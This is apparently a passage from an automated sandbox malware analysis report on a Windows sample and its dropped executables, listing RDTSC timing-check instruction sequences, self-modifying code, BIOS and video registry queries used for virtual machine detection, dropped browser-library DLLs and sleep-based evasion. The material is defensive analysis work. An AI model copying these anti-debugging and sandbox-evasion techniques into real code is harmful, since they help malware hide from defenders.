Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F95C41 second address: F95C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F95C45 second address: F95C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F95C49 second address: F95C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F9BD0B13066h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F95C5D second address: F95C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F98C63 second address: F98C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9BD0B13078h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F98C88 second address: F98C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F98C90 second address: F98C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F98C94 second address: F98C9E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9BD074F0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9BE21 second address: F9BE29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9BE29 second address: F9BE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9BE2E second address: F9BE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9BE34 second address: F9BE41 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9BE41 second address: F9BE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9C93D second address: F9C945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9C945 second address: F9C949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9CA23 second address: F9CA27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9CB3E second address: F9CB42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9CCCB second address: F9CCE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9BD074F0CAh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9CEB0 second address: F9CED4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F9BD0B13066h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F9BD0B13074h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9CF8D second address: F9CFAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F9BD074F0C6h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9CFAC second address: F9CFB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9D037 second address: F9D03D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9D715 second address: F9D71A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9DB69 second address: F9DB6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9E05D second address: F9E062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9E062 second address: F9E06C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F9BD074F0C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9E06C second address: F9E070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9FC17 second address: F9FC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9FC1C second address: F9FC22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA0F8D second address: FA0F97 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9BD074F0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA0F97 second address: FA0FF8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F9BD0B13066h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub dword ptr [ebp+122D289Dh], eax 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F9BD0B13068h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 push 00000000h 0x00000033 mov di, bx 0x00000036 xchg eax, ebx 0x00000037 jnc 00007F9BD0B1306Ch 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push ecx 0x00000041 jmp 00007F9BD0B1306Eh 0x00000046 pop ecx 0x00000047 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA0FF8 second address: FA1006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9BD074F0CAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA2584 second address: FA258A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA258A second address: FA258E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA2FAD second address: FA3014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 mov esi, edx 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F9BD0B13068h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jmp 00007F9BD0B1306Dh 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F9BD0B13068h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000019h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 and esi, dword ptr [ebp+122D21B2h] 0x0000004b adc di, 30B4h 0x00000050 push eax 0x00000051 pushad 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9F39E second address: F9F3B4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9BD074F0C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F9BD074F0C6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9F3B4 second address: F9F3B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA0D2B second address: FA0D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F9BD074F0C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA0D35 second address: FA0D48 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9BD0B13066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA734F second address: FA7353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA98D4 second address: FA98DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F9BD0B13066h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA18CA second address: FA18EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FAC7EA second address: FAC7F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F9BD0B13066h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FAD78D second address: FAD791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FAD791 second address: FAD7A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FAF9CB second address: FAF9CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FAF9CF second address: FAF9D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FAF9D3 second address: FAF9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F9BD074F0E0h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9BD074F0CEh 0x00000014 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FAF9F0 second address: FAF9F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FB1A05 second address: FB1A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9BD074F0C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FB1A10 second address: FB1A15 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FB1A15 second address: FB1A5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnc 00007F9BD074F0CEh 0x0000000e nop 0x0000000f or dword ptr [ebp+122D334Dh], ecx 0x00000015 and ebx, dword ptr [ebp+122D21B2h] 0x0000001b push 00000000h 0x0000001d adc di, A3ACh 0x00000022 push 00000000h 0x00000024 or dword ptr [ebp+122D28DEh], ebx 0x0000002a and ebx, dword ptr [ebp+122D2931h] 0x00000030 xchg eax, esi 0x00000031 push esi 0x00000032 jg 00007F9BD074F0C8h 0x00000038 pop esi 0x00000039 push eax 0x0000003a push ecx 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA2333 second address: FA233D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F9BD0B13066h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FB5A12 second address: FB5A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FB5A16 second address: FB5A2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13075h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FB8CDC second address: FB8CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FB8CE0 second address: FB8CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FA2D45 second address: FA2D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC26A4 second address: FC26AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC1E6E second address: FC1E72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC1FDC second address: FC1FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC1FE0 second address: FC2003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9BD074F0D9h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC7ADC second address: FC7AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC7B6C second address: FC7B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9BD074F0C6h 0x0000000a popad 0x0000000b pop edx 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 jmp 00007F9BD074F0D9h 0x00000016 pop ebx 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC7B9D second address: FC7BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC7BA3 second address: FC7BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC9074 second address: FC9084 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F9BD0B1306Ah 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC9084 second address: FC908A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC908A second address: FC90A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9BD0B13073h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC90A1 second address: FC90A7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FC90A7 second address: FC90CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9BD0B13077h 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCE200 second address: FCE204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCE204 second address: FCE22A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9BD0B13066h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F9BD0B13068h 0x00000012 pushad 0x00000013 popad 0x00000014 jne 00007F9BD0B1306Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCE22A second address: FCE22E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCD4B5 second address: FCD4BF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9BD0B13066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCD77B second address: FCD786 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCD786 second address: FCD78B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCD78B second address: FCD7BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9BD074F0D4h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCD923 second address: FCD92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: FCD92E second address: FCD933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 66E3DD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7046F2 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Special instruction interceptor: First address: DEEC3F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Special instruction interceptor: First address: DEEB61 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Special instruction interceptor: First address: F959A4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Special instruction interceptor: First address: FB8D16 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	Special instruction interceptor: First address: 1020D19 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C1EC3F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C1EB61 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DC59A4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DE8D16 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E50D19 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsBAAFIJKKEH.exe

Code function: 19_2_05180D78 rdtsc

19_2_05180D78

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1005710001\3a4851ca05.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 6764	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2876	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5084	Thread sleep time: -34017s >= -30000s	Jump to behavior
